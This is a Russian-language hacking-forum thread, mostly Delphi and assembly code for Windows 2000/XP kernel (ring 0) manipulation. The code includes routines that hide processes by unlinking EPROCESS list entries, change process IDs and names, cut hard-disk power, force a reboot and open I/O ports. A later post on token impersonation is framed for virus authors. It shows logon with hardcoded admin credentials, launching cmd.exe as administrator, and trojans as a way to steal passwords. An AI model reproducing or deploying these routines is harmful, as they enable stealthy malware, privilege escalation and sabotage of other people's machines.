ActiveProcessesLink - это элемент двухсвязного списка содержащий указатели FLink (на следующий элемент списка) и BLink (на предыдущий). Эти указатели в Windows XP имеют смещения 88h и 8Ch соответственно (в Windows 2000 - A0h и A4h). Заметьте, что указатели ActiveProcessesLink указывают не на начало структуры EPROCESS, а на слудующий элемент двухсвязного списка, поэтому для получения указателя на EPROCESS нам нужно отнять смешение ActiveProcessesLink в структуре EPROCESS. Для получения списка всех процессов в системе нам нужно получить указатель на EPROCESS любого процесса, после чего двигаться по спискам ActiveProcessesLink до тех пор, пока не окажемся на той структуре, с которой начали. В качестве эталона на который будет опираться весь дальнейший код я возьму указатель на EPROCESS процесса System, так как это единственный обязательный процесс в системе который существует все время её работы (после загрузки). Для получения этого указателя сначала получим с помощью функции ядра IoGetCurrentProcess указатель на EPROCESS текущего процесса, после чего будем двигаться по связанным спискам до тех пор, пока не будет обнаружен процесс с Parrent Pid = 0, это и будет процесс System. Так как нужно сделать код работающий в различных версиях Windows (в том числе легко переносимый на следующие версии), то мы не будем хранить в коде смещения нужных нам данных в структуре EPROCESS, а заведем структуру, куда занесем эти данные (в зависимости от версии системы) и будем использовать эту структуру в коде.
UndocData : packed record {00} BaseProcStrAdr : dword; // адрес первой EPROCESS {04} ActivePsListOffset: dword; // смещение ActivePsList в EPROCESS {08} PidOffset: dword; // смещение ProcessID в EPROCESS {0C} NameOffset: dword; // смещение ImageName в EPROCESS {10} ppIdOffset: dword; // смещение ParrentPid в EPROCESS {14} ImgNameOffset: dword; // смещение ImageFileName в EPROCESS end; Заполняется эта структура следующим кодом: { Инициализация Ring0 библиотеки. } function InitialzeRing0Library(Ring0GateType: dword): boolean; var Version: TOSVersionInfo; begin Result := false; Version.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); GetVersionEx(Version); if Version.dwMajorVersion <> 5 then Exit; case Version.dwBuildNumber of 2195 : begin // Windows 2000 UndocData.ActivePsListOffset := $0A0; UndocData.PidOffset := $09C; UndocData.NameOffset := $1FC; UndocData.ppIdOffset := $1C8; end; 2600 : begin // Windows XP UndocData.ActivePsListOffset := $088; UndocData.PidOffset := $084; UndocData.NameOffset := $174; UndocData.ppIdOffset := $14C; UndocData.ImgNameOffset := $1F4; end; else Exit; end; KernelBase := GetKernelModuleAddress(KernelName); dKernelBase := LoadLibraryEx(KernelName, 0, DONT_RESOLVE_DLL_REFERENCES); AdrMmGetPhys := GetKernelProcAddress('MmGetPhysicalAddress'); AdrMmIsValid := GetKernelProcAddress('MmIsAddressValid'); AdrIoGetCurr := GetKernelProcAddress('IoGetCurrentProcess'); AdrSetIoAccess := GetKernelProcAddress('Ke386SetIoAccessMap'); AdrGetIoAccess := GetKernelProcAddress('Ke386QueryIoAccessMap'); AdrSetAccProc := GetKernelProcAddress('Ke386IoSetAccessProcess'); GateType := Ring0GateType; case GateType of CALL_GATE : Result := InitializeCallGate(); DRIVER_GATE : Result := InitializeDriverGate(); end; if Result then UndocData.BaseProcStrAdr := GetSystemEPROCESS(); end; Также здесь определяются адреса ядерных функций которые нам в дальнейшем понадобятся. Теперь код поиска EPROCESS процесса System будет выглядеть так: { получение указателя на структуру EPROCESS для System } function GetSystemEPROCESS(): dword; var Data: packed record UndocAdr: pointer; Result: dword; end; procedure Ring0Call; asm mov ebx, eax call AdrIoGetCurr mov edx, [ebx] // UndocAdr mov esi, [edx + $04] // ActivePsListOffset mov edi, [edx + $10] // pPidOffset @Find: mov ecx, [eax + edi] test ecx, ecx jz @Found mov eax, [eax + esi] sub eax, esi jmp @Find @Found: mov [ebx + $04], eax ret end; begin Data.UndocAdr := @UndocData; CallRing0(@Ring0Call, @Data); Result := Data.Result; end; Теперь, получив указатель на EPROCESS мы можем получить список всех процессов в системе используя следующий код: type TPROCESS = packed record ProcessId : dword; ImageName : array [0..15] of Char; pEPROCESS : dword; ParrentPid: dword; end; PSYS_PROCESSES = ^TSYS_PROCESSES; TSYS_PROCESSES = packed record ProcessesCount: dword; Process: array[0..0] of TPROCESS; end; { Получение списка процессов прямым доступом к структурам ядра. } function GetProcesses(): PSYS_PROCESSES; var Eprocess: array [0..$600] of byte; CurrentStruct: dword; CurrSize: dword; OldPriority: dword; begin CurrSize := SizeOf(TSYS_PROCESSES); GetMem(Result, CurrSize); ZeroMemory(Result, CurrSize); ZeroMemory(@Eprocess, $600); CurrentStruct := UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset; OldPriority := GetThreadPriority($FFFFFFFE); SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL); repeat CurrentStruct := CurrentStruct - UndocData.ActivePsListOffset; Ring0CopyMemory(pointer(CurrentStruct), @Eprocess, $220); if pdword(dword(@Eprocess) + UndocData.ppIdOffset)^ > 0 then begin Inc(CurrSize, SizeOf(TPROCESS)); ReallocMem(Result, CurrSize); Result^.Process[Result^.ProcessesCount].ProcessId := pdword(dword(@Eprocess) + UndocData.PidOffset)^; Result^.Process[Result^.ProcessesCount].pEPROCESS := CurrentStruct; lstrcpyn(@Result^.Process[Result^.ProcessesCount].ImageName, PChar(dword(@Eprocess) + UndocData.NameOffset), 16); Result^.Process[Result^.ProcessesCount].ParrentPid := pdword(dword(@Eprocess) + UndocData.ppIdOffset)^; Inc(Result^.ProcessesCount); end; CurrentStruct := pdword(dword(@Eprocess) + UndocData.ActivePsListOffset)^; if CurrentStruct < $80000000 then break; until CurrentStruct = UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset; SetThreadPriority($FFFFFFFE, OldPriority); end; Я думаю, обьяснять как работает этот код не следует, так как это должно быть панятно из предшествующего описания. Единственный момент на который следует обратить внимание - это то, что перед получением списка процессов текущему потоку выставляется приоритет реального времени. Это связано с тем, что если наш поток в момент обработки связанного списка будет прерван, и в этот момент произойдет удаление того процесса, на который указывает только что полученный указатель, то наш код может вызвать ошибку доступа памяти в нулевом кольце, и как следствие - синий экран. Повышение приоритета потока исключает такую возможность, так как удаление процессов выполняется потоком режима ядра с приоритетом Normal. Во всех дальнейших примерах будет использован такой-же прием при любых манипуляциях с структурами ядра. Итак, список процессов мы получили, теперь попробуем изменять структуры EPROCESS. Например, можно сменить PID процесса. Для удобства, все дальнейшие функции будут работать не с Id процесса, а с указателем на его EPROCESS, поэтому введем функцию для получения указателя на EPROCESS по Process Id: { Получение по ProcessId указателя на струкруру ядра EPROCESS связанную с данным процессом. } Function GetEPROCESSAdr(ProcessId: dword): dword; var Data: packed record UndocAdr: pointer; ProcessId: dword; Result: dword; end; procedure Ring0Call; asm mov ebx, [eax] //UndocAdr mov ecx, [eax + $04] //ProcessId push eax mov eax, [ebx] //BaseProcStrAdr mov esi, [ebx + $04] //ActivePsListOffset mov edi, [ebx + $08] //PidOffset @Find: mov edx, [eax + edi] //ActivePs.Pid cmp edx, ecx //compare process id jz @Found mov eax, [eax + esi] // ActivePsList.Flink sub eax, esi //sub ActivePsListOffset cmp eax, [ebx] //final jz @End jmp @Find @Found: pop edx mov [edx + $08], eax //save result ret @End: pop edx mov [edx + $08], 0 ret end; begin Data.UndocAdr := @UndocData; Data.ProcessId := ProcessId; CallRing0(@Ring0Call, @Data); Result := Data.Result; end; Описывать как работает этот код тоже не стоит, так как это все та же работа со связанными списками. Смена же Process Id по указателю на EPROCESS выглядит и того проще: { Смена Id процесса по указателю на EPROCESS. } Procedure ChangeProcessIdEx(pEPROCESS: dword; NewPid: dword); var Data: packed record UndocAdr: pointer; pEPROCESS: dword; NewId: dword; end; Procedure Ring0Call; asm push eax mov eax, [eax + $04] push eax call AdrMmIsValid test eax, eax jz @Exit pop eax mov ebx, [eax] mov esi, [eax + $04] // pEPROCESS add esi, [ebx + $08] // @pEPROCESS.ProcessId mov eax, [eax + $08] // NewId mov [esi], eax ret @Exit: pop eax ret end; begin if pEPROCESS = 0 then Exit; Data.UndocAdr := @UndocData; Data.pEPROCESS := pEPROCESS; Data.NewId := NewPid; CallRing0(@Ring0Call, @Data); end; Завтра я приведу примеры скрытия процессов, изменения имени процесса на лету, и еще кое что, но сразу предупреждаю, инфа будет стоить 50 постов, т.к. носить будет уже не чисто теоретический и познавательный харрактер, а именно практический, описывающий коды доступа к железу |
|
|
|
|
|
#12
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
Что еще можно сделать интересного с процессом? Например, можно скрыть процесс в системе без использования каких-либо перехватов API. Для этого нужно получить указатель на EPROCESS скрываемого процесса и изменить FLink следующего процесса и BLink предыдущего так, чтобы они указывали друг на друга. Тогда перечисление процессов будет идти в обход скрываемого. Этот метод работает потому, что планировщик Windows ничего не знает о процессах, он просто распределяет процессорное время между всеми потоками в системе независимо от принадлежности их какому-либо процессу. Поэтому в системе могут существовать "свободные" потоки, не принадлежащие никакому процессу. Итак, скрытие процесса осуществляет следующий код:
{ Скрытие процесса по указателю на структуру ядра EPROCESS. Неправильный указатель может привести к краху системы! } Procedure HideProcessEx(pEPROCESS: dword); var Data: packed record UndocAdr: pointer; pEPROCESS: dword; end; Procedure Ring0Call; asm push eax mov eax, [eax + $04] push eax call AdrMmIsValid test eax, eax jz @Exit pop eax mov ebx, [eax] //UndocAdr mov ecx, [eax + $04] //pEPROCESS mov esi, [ebx + $04] //ActivePsListOffset mov edx, [ecx + esi] //ActivePsList.Flink add esi, $04 mov edi, [ecx + esi] //ActivePsList.Blink mov [edx + $04], edi //ActivePsList.Flink.Blink = ActivePsList.Blink mov [edi], edx //ActivePsList.Blink.Flink = ActivePsList.Flink ret @Exit: pop eax ret end; begin if pEPROCESS = 0 then Exit; Data.UndocAdr := @UndocData; Data.pEPROCESS := pEPROCESS; CallRing0(@Ring0Call, @Data); end; Иногда, желательно иметь возможность сделать скрытый процесс снова видимым. Для этого нужно перед скрытием сохранить указатель на EPROCESS, а потом вставить скрытый процесс в любое место связанного списка, соответствующим образом исправив указатели. Для простоты мы будем вставлять процессы сразу же после EPROCESS процесса System, и полный код осуществляющий это будет выглядеть так: { Восстановление процесса в списке процессов по указателю на EPROCESS. } Procedure ShowProcess(pEPROCESS: dword); var Data: packed record UndocAdr: pointer; pEPROCESS: dword; end; Procedure Ring0Call; asm push eax mov eax, [eax + $04] push eax call AdrMmIsValid test eax, eax jz @Exit pop eax mov ebx, [eax] //UndocAdr mov ecx, [eax + $04] //pEPROCESS mov esi, [ebx + $04] //ActivePsListOffset mov edx, [ebx] //BaseProcStrAdr add edx, esi //@BaseProcStrAdr.Flink add ecx, esi //@pEPROCESS.Flink mov [ecx + $04], edx //pEPROCESS.Blink = @BaseProcStrAdr.Flink mov eax, [edx] //@BaseProcStrAdr.Flink.Flink mov [ecx], eax //pEPROCESS.Flink = @BaseProcStrAdr.Flink.Flink mov [edx], ecx //BaseProcStrAdr.Flink = @pEPROCESS.Flink ret @Exit: pop eax ret end; begin if pEPROCESS = 0 then Exit; Data.UndocAdr := @UndocData; Data.pEPROCESS := pEPROCESS; CallRing0(@Ring0Call, @Data); end; Возможность изменять имя процесса налету тоже может оказаться полезной. В Windows NT4 и более поздних версиях NT в структуре EPROCESS есть поле ImageFileName размером 16 байт. В нем храниться имя процесса возвращаемое при перечислении списка процессов. Начиная с Windows XP в структуре EPROCESS дополнительно появилось поле SE_AUDIT_PROCESS_CREATION_INFO которое содержит указатель на структуру UNICODE_STRING содержащую полный путь к исполняемому файлу(в NT формате) из которого был запущен процесс. Это нужно учесть при смене имени процесса в этих системах. Вот код осуществляющий смену имени процесса: { Смена имени процесса по указателю на его EPROCESS. } Procedure ChangeProcessNameEx(pEPROCESS: dword; NewName: PChar); var Data: packed record {00} UndocAdr: pointer; {04} pEPROCESS: dword; {08} NewName: array [0..15] of Char; {18} UnicName: array [0..15] of WideChar; {38} UnicLength: word; end; Procedure Ring0Call; asm push eax mov eax, [eax + $04] push eax call AdrMmIsValid test eax, eax jz @Exit pop eax mov ebx, [eax] //UndocAdr mov edi, [eax + $04] //pEPROCESS add edi, [ebx + $0C] //NameOffset mov esi, eax add esi, $08 mov ecx, $10 repnz movsb mov esi, eax add esi, $18 mov edx, [eax + $04] //pEPROCESS mov ebp, [eax] mov ebp, [ebp + $14] add edx, ebp //@IamgeFileName mov ebp, eax mov edx, [edx] test edx, edx jz @Done movzx ecx, word ptr [edx] // UNICODE_STRING.Length test ecx, ecx jz @Done mov edi, dword ptr [edx + $04] add edi, ecx mov edx, edi std mov eax, '\' shr ecx, 1 repne scasw or ecx, ecx jz @Done add edi, $04 lea esi, [ebp + $18] movzx ecx, word ptr [ebp + $38] cld rep movsw mov edx, [ebp + $04] //pEPROCESS mov ebp, [ebp] mov ebp, [ebp + $14] add edx, ebp //@IamgeFileName mov edx, [edx] mov word ptr [edx], cx @Done: ret @Exit: pop eax ret end; begin if pEPROCESS = 0 then Exit; Data.UndocAdr := @UndocData; Data.pEPROCESS := pEPROCESS; lstrcpyn(Data.NewName, NewName, 16); StringToWideChar(NewName, @Data.UnicName, 16); Data.UnicLength := lstrlen(NewName); CallRing0(@Ring0Call, @Data); end; Что же еще можно сделать в нулевом кольце? Да практически что угодно! Все, на что хватит фантазии и знаний. Например, может кому-нибудь будет интересна быстрая перезагрузка компьютера (аналог Reset), или отключение питания HDD, это делается проще некуда: { Выключение первого винта. } Procedure DisableHDD(); Procedure Ring0Call; asm mov al, $0E6 mov dx, $1F7 out dx, al ret end; begin CallRing0(@Ring0Call, nil); end; { Перезагрузка. } Procedure FastReboot(); Procedure Ring0Call; asm mov al, $FE out $64, al end; begin CallRing0(@Ring0Call, nil); end; Но для прямого доступа к железу не обязательно выходить в нулевое кольцо, можно просто открыть коду третьего кольца доступ к портам ввода-вывода. Для этого следует изменить IOPM в TSS так, чтобы разрешенным для третьего кольца портам соответствовал 0 бит, а запрещенным - 1, после чего нужно разрешить использование IOPM для конкретных процессов. Для получения и установки карты ввода-вывода (IOPM) в ядре есть недокументированные функции Ke386GetIoAccessMap и Ke386IoSetAccessMap соответственно, а для разрешения или запрета использования IOPM процессом - Ke386IoSetAccessProcess. А вот и код, который все это осуществляет: { Установка системной карты ввода - вывода pMap - адрес буфера размером $2000 откуда будет взята карта. } Procedure SetIoAccessMap(pMap: pointer); Procedure Ring0Call; asm push eax push 1 call AdrSetIoAccess ret end; begin CallRing0(@Ring0Call, pMap); end; { Получение системной карты ввода - вывода. pMap - адрес буфера размером $2000 куда будет сохранена карта. } Procedure GetIoAccessMap(pMap: pointer); Procedure Ring0Call; asm push eax push 1 call AdrGetIoAccess ret end; begin CallRing0(@Ring0Call, pMap); end; { Разрешение / запркщение использования карты ввода - вывода для процесса. } Procedure SetIoAccessProcessEx(pEPROCESS: dword; Access: boolean); var Data : packed record pEPROCESS: dword; Access: dword; end; Procedure Ring0Call; asm mov ebx, [eax + $04] push ebx mov eax, [eax] push eax call AdrSetAccProc ret end; begin Data.pEPROCESS := pEPROCESS; if Access then Data.Access := 1 else Data.Access := 0; CallRing0(@Ring0Call, @Data); end; Для управления доступом к отдельным портам можно применить такой код: { Открытие / закрытие доступа к порту в/в для разрешенных процессов. } Procedure OpenPort(Port: dword; CanOpen: boolean); var Iopm: array [0..$2000] of Byte; pIopm: pointer; bNum: dword; bOffset: dword; begin pIopm := @Iopm; GetIoAccessMap(pIopm); bNum := Port div 8; bOffset := Port mod 8; if CanOpen then asm mov ecx, pIopm add ecx, bNum mov eax, [ecx] mov edx, bOffset btr eax, edx mov [ecx], eax end else asm mov ecx, pIopm add ecx, bNum mov eax, [ecx] mov edx, bOffset bts eax, edx mov [ecx], eax end; SetIoAccessMap(pIopm); end; Этот метод можно использовать для того, чтобы заставить работать под NT старые досовские игрушки, которые используют прямой доступ к железу. Для этого достаточно установить карту ввода-вывода, а её использование для DOS процессов разрешено по умолчанию. |
|
|
|
|
|
#13
|
|
ViP
![]() Пол:
Регистрация: 17.09.2006
Сообщений: 1,182
Репутация: 1592
|
С Ring 0 пока отложим, рассмотрим вот такую штуковину, ИМПЕРСОНАЦИЯ
.Введение. Представьте ситуацию. Ваша программа выполняется не под правами администратора, но у вас есть пароль администратора (как его получить - смотрите в дpугой моей статье). У вас есть привилигии, которые вам нужны, и теперь вы думаете, что с ними делать? Ответом является имперсонация. Давайте взглянем на определение имперсонации в MSDN: - Имперсонация - это способность треда использовать другую информацию о безопасности, нежели та, что доступна процессу, который владеет тредом. Существует много типов имперсонации, например DDE, именованные пайпы, RPC-имперсонация и так далее. Обычно имперсонация используется, когда серверу необходимо некоторое время действовать как клиент. Но мы используем этот метода, чтобы дать нашему треду права администратора и создать процесс, обладающий такими правами... .Требуемые привилегии. Сценарий использования имперсонации может выглядеть так: ваш вирус запускается под правами администратора и устанавливает троян, чтобы получить права администратора. Затем, будучи запущенным под правами обычного пользователя, он осуществляет имперсонацию и работает, как если бы был запущен администратором. .Проверка. Во-первых, мы хотим узнать, запущен ли ваш процесс под правами администратора или нет (бессмысленно проводить имперсонацию администратора, если вы уже им являетесь ). Этот небольшой отрывок кода может вам помочь...- Проверка прав - ;----------------------------------------------------------------------------- ; Функция CheckTokenMemberShip находится в advapi32.dll ; Если используется для имперсоницированного токена (token), не возвратит ; правильного результата SECURITY_BUILTIN_DOMAIN_RID equ 20h DOMAIN_ALIAS_RID_ADMINS equ 220h SECURITY_NT_AUTHORITY equ 5 ; на выходе: eax - булевое значение is_caller_admin proc near pushad @SEH_SetupFrame <jmp is_caller_admin_end> @pushvar <dd ?> pop eax and dword ptr [eax], 0 push eax push eax align 4 call $+24 db 0ffh, 25h, 60h db 1 ; создаем SID администратора db 2 db 0, 0, 0, 0, 0, SECURITY_NT_AUTHORITY dd SECURITY_BUILTIN_DOMAIN_RID dd DOMAIN_ALIAS_RID_ADMINS add dword ptr [esp], 3 push 0 ; проверяем токен выполняющегося треда call CheckTokenMembership ; for admin SID pop eax mov eax, dword ptr [eax] is_caller_admin_end: @SEH_RemoveFrame mov dword ptr [esp.Pushad_eax], eax popad retn is_caller_admin endp ;----------------------------------------------------------------------------- .Имперсонация выполняющегося треда. Пусть у нас есть логин "adminstrator" с паролем "fucker". Во-первых, мы должны залогинить этого пользователя. Для этого мы используем функцию LogonUser, которая экспортируется из advpi32.dll. Давайте взглянем на прототип: BOOL LogonUser( LPTSTR lpszUsername, // имя пользователя LPTSTR lpszDomain, // домен или сервер LPTSTR lpszPassword, // пароль DWORD dwLogonType, // тип операции начала сеанса DWORD dwLogonProvider, // провайдер начала сеанса PHANDLE phToken // получает хэндл токенов ); В phToken мы получим хэндлы токенов, которые нам потребуются в дальнейшем. Провайдер начала сеанса будет null, т.е. по умолчанию. Тип начала сеанса будет LOGON32_LOGON_INTERACTIVE, пароль и имя пользователя очевидны. Домейн будет равен null. Теперь давайте взглянем на код. - Залогинивание пользователя - ;----------------------------------------------------------------------------- LOGON32_LOGON_INTERACTIVE equ 2 @pushvar push 0 push LOGON32_LOGON_INTERACTIVE @pushsz "fucker" push 0 @pushsz "administrator" call LogonUserA ;----------------------------------------------------------------------------- Если все прошло хорошо, то теперь у нас есть токен имперсонации. Теперь мы будем использовать функцию ImpersonateLoggedOnUser, которая в конце концов объявит наш тред как имперсоницированный. Функция принимает один аргумент - токен. - Имперсонация пользователя - ;----------------------------------------------------------------------------- push dword ptr [htoken] call ImpersonateLoggedOnUser ;----------------------------------------------------------------------------- Теперь наш тред запущен под правами администратора. Мы можем делать все, что нам нужно, а затем, когда мы закончим с этим и захотим вернуть себе обратно старые права, просто вызовем функцию RevertToSelf... - Возврат старых прав - ;----------------------------------------------------------------------------- call dword ptr [ebp+tRevertToSelf] ;----------------------------------------------------------------------------- .Создание нового процесса в имперсоницированном контексте безопасности. Во-первых, мы должны залогиниться, как и в предыдущем случае. Просто используйте тот же код, что и в разделе - Залогинивание пользователя -. Мы будем использовать функцию CreateProcessAsUser, которая также экспортируется из advapi32.dll. Эта функция почти такая же, как и CreateProcess, но она принимает на один аргумент больше - токер. - Создание процесса с правами администратора - ;----------------------------------------------------------------------------- GMEM_ZEROINIT equ 040h push type(PROCESS_INFORMATION)+type(STARTUPINFO) push GMEM_ZEROINIT call GlobalAlloc xchg eax, ebx xor eax,eax push ebx push ebx add dword ptr [esp], type(PROCESS_INFORMATION) push eax push eax push eax push 1 push eax push eax @pushsz "cmd.exe"; push eax push dword ptr [htoken] call CreateProcessAsUserA push ebx call GlobalFree push dword ptr [htoken] call CloseHandle ;----------------------------------------------------------------------------- Это отрывок кода запустит копию командного интерпретатора, который будет выполняться в контексте безопасности администратора... .Напоследок. Как вы можете видеть, имперсонация - это очень мощная вещь. Единственное слабое звено - это пароли. Но если вы найдете хороший путь, чтобы получить пароли (например, троян), тогда она станет вашим лучшим другом . |
|
|
|
![]() |
Похожие темы
|
||||
| Тема | Автор | Раздел | Ответов | Последнее сообщение |
| Журнал: "Guadros" /"Genefas" / "Toallas" (en punto de cruz) | IGLENA | Вышивка | 5 | 06.02.2026 17:47 |
| Рассылка сообщений в "Раб.группе" средствами винды | deepray | Скорая помощь | 2 | 04.02.2009 12:51 |
| Как избавиться от остатков "Винды" | cancar | Архив | 19 | 03.12.2007 12:23 |
| Перекомпиляция Access файла "mde" обратно в "mdb" формат для изменений. | dilprog | Программирование | 12 | 14.02.2007 18:43 |
|
|